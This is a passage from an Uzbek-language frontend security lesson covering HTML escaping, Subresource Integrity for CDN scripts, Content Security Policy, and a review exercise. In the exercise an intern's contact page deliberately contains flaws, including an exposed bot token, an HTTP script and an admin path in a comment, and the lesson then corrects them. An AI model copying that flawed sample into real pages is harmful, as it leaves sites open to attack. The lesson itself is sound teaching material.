Yechim
<li>Ali <b>"Bahor"</b> & do'stlar</li>Ekranda mehmon yozganidek chiqadi: Ali <b>"Bahor"</b> & do'stlar — b qalin qilmaydi, u shunchaki matn. Teglar orasidagi matnda " va ' ni ekranlash shart emas, lekin server odatda beshtasini ham ekranlaydi — shunda bir xil funksiya atributlar uchun ham xavfsiz bo'ladi.
2-mashq (o'rta): CDN'dan xavfsiz ulash
Stajyor shunday yozdi:
<script src="https://cdn.jsdelivr.net/npm/dompurify@3"></script>- Bu qatordagi ikki muammoni ayting.
- Uni
3.2.6versiyasi uchun SRI bilan qayta yozing. Hash'ni terminalda o'zingiz hisoblang (buyruq darsda bor) va darsdagi qiymat bilan solishtiring.
Yechim
- Versiya aniq emas (
@3— 3-versiyaning eng oxirgisi, fayl o'zgarib turadi) vaintegrityyo'q — fayl o'zgartirilsa, brauzer bilmaydi. - Hisoblash:
curl -s https://cdn.jsdelivr.net/npm/dompurify@3.2.6 \
| openssl dgst -sha256 -binary | openssl base64 -ANatija darsdagidek bo'lishi kerak: ieH6dkfL...ACVYoc=. Teg:
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.2.6"
integrity="sha256-ieH6dkfLSVNw06mXrOQ4f10V2fTFrxI1LFPapACVYoc="
crossorigin="anonymous" defer></script>Hash boshqacha chiqsa — manzilni tekshiring: versiya yoki fayl yo'li farq qilsa, fayl ham boshqa.
3-mashq (qiyin): Xavfsizlik review
«Bahor» ning "Aloqa" sahifasini stajyor yozdi. Kamida 7 ta xavfsizlik muammosini toping va tuzatilgan variantni yozing.
<head>
<meta charset="utf-8">
<meta http-equiv="refresh" content="600">
<script src="http://example.com/xarita.js"></script>
</head>
<body>
<!-- eski admin: /panel-2019 -->
<img src="http://example.com/zal.jpg" alt="Choyxona zali">
<form action="https://api.telegram.org/bot12345:ABC/sendMessage">
<input type="hidden" name="chat_id" value="987654">
<label for="xabar">Xabaringiz</label>
<textarea id="xabar" name="text"></textarea>
<button type="submit">Yuborish</button>
</form>
<iframe src="https://example.com/hamkor-vidjet"
title="Hamkor vidjeti"></iframe>
<a href="https://example.com/sharh" target="_blank">Sharhlar</a>
</body>Eslatma: har http://, action manzili, yashirin maydon, izoh, iframe va meta qatoriga alohida qarang.
Yechim
| # | Muammo | Tuzatish |
|---|---|---|
| 1 | Skript http:// — aralash kontent, bloklanadi |
https:// + aniq versiya + SRI |
| 2 | Rasm http:// |
https:// yoki o'z serveridan |
| 3 | Bot tokeni action da — hammaga ochiq |
Forma o'z serverga, token serverda |
| 4 | chat_id yashirin maydonda — o'zgartiriladi |
Server o'zi biladi, formada kerak emas |
| 5 | method yo'q — GET, xabar URL'da |
method="post" |
| 6 | HTML izohda admin manzili | Izohni olib tashlash |
| 7 | Begona iframe — cheklovsiz |
sandbox="allow-scripts" (kerakligicha) |
| 8 | meta refresh — sahifa o'zi yangilanadi |
Olib tashlash |
| 9 | target="_blank" — rel yo'q |
rel="noopener" |
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src 'self' https:;
frame-src https://example.com;
object-src 'none'; base-uri 'self';
form-action 'self'">
<title>Aloqa — Choyxona «Bahor»</title>
<script src="assets/js/xarita.js" defer></script>
</head>
<body>
<img src="assets/images/zal.jpg" alt="Choyxona zali">
<form action="/aloqa" method="post">
<label for="xabar">Xabaringiz</label>
<textarea id="xabar" name="xabar" required></textarea>
<button type="submit">Yuborish</button>
</form>
<iframe src="https://example.com/hamkor-vidjet"
title="Hamkor vidjeti" sandbox="allow-scripts"
loading="lazy"></iframe>
<a href="https://example.com/sharh" target="_blank"
rel="noopener">Sharhlar</a>
</body>Xarita skriptini o'z serverimizga ko'chirdik — SRI ham, begona domen ham kerak bo'lmay qoldi. frame-src — iframe'lar qaysi manbalardan yuklanishi mumkinligi. Bot tokeni endi faqat serverda: server xabarni qabul qilib, uni Telegram'ga o'zi yuboradi. Oxirgi band haqida: zamonaviy brauzerlar noopener ni o'zi qo'llaydi, lekin uni aniq yozish — Maxsus havolalar darsidagi qoida.
12. Real ishda
- OWASP Top 10 — veb-xavfsizlikning eng muhim xavflari ro'yxati. XSS unda "Injection" (kod kiritish) guruhiga kiradi. 2025-yilgi ro'yxatda dasturiy ta'minot yetkazib berish zanjiri xavflari ham alohida band bo'ldi — polyfill.io kabi hodisalar tufayli. SRI aynan shunga qarshi.
- Freymvorklar yordam beradi, lekin to'liq emas. React matnni o'zi ekranlaydi, lekin
dangerouslySetInnerHTMLvahrefdagijavascript:ni o'tkazib yuboradi. Next.js'da CSP sarlavhalari konfiguratsiyada yoziladi. Bularni React va Next.js qismlarida ko'ramiz. - Bug bounty. Katta kompaniyalar o'z saytidagi XSS'ni topgan odamga pul to'laydi. XSS — eng ko'p topiladigan zaiflik turlaridan biri.
- Intervyu. "XSS nima va qanday himoyalanasiz?" — deyarli har frontend intervyusida. Yaxshi javob: ekranlash, kontekst (atribut,
href), tozalash kutubxonasi, CSP,HttpOnlycookie (server tomoni).
Xulosa
- XSS — hujumchining kodi sizning saytingiz nomidan ishlashi; asosiy himoya — ekranlash, joyga qarab qoida (atribut qo'shtirnoqda,
hrefda sxema tekshiruvi). - HTML kerak bo'lsa — tozalash, faqat tayyor kutubxona (DOMPurify, sanitize-html) bilan; begona SVG — faqat
imgorqali. - SRI: CDN skripti aniq versiya,
integrityvacrossorigin="anonymous"bilan; hash mos kelmasa, brauzer bloklaydi. - CSP — oxirgi to'siq: HTML ichidagi skriptlarni, begona manbalarni va formalarni to'sadi;
frame-ancestorsfaqat server sarlavhasida. - HTTPS sahifada
http://resurs yo'q; maxfiy sahifadano-referrer; HTML'da sir yo'q. - Chuqur himoya: bitta qatlam yiqilsa, keyingisi ushlaydi.
Keyingi dars: Brauzer mosligi va progressive enhancement — yangi imkoniyatni eski brauzerni buzmasdan qanday ishlatish va eskirgan teglar.
Manbalar
- OWASP Cheat Sheet Series: "Cross Site Scripting Prevention", "Content Security Policy" — cheatsheetseries.owasp.org
- MDN: "Subresource Integrity", "Content Security Policy (CSP)", "Mixed content", "Referrer-Policy" — developer.mozilla.org
- W3C: "Subresource Integrity" — w3.org/TR/SRI
- Mozilla: "HTTP Observatory" — developer.mozilla.org/observatory
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!